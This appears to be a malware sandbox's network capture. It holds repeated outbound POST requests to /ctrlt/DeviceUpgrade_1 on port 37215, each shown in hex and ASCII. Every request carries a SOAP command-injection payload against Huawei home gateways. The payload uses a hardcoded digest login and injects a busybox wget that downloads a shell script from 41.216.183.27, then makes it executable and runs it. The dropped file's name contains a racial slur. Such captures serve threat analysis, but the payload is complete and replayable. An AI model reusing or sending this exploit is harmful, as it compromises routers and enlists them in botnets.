Feb 19, 2024 18:37:17.089725971 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.521678925 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.129497051 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:33.089307070 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:52.288773060 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.15	48098	31.200.86.147	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:15.415533066 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:16.545730114 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.857661963 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:20.545628071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
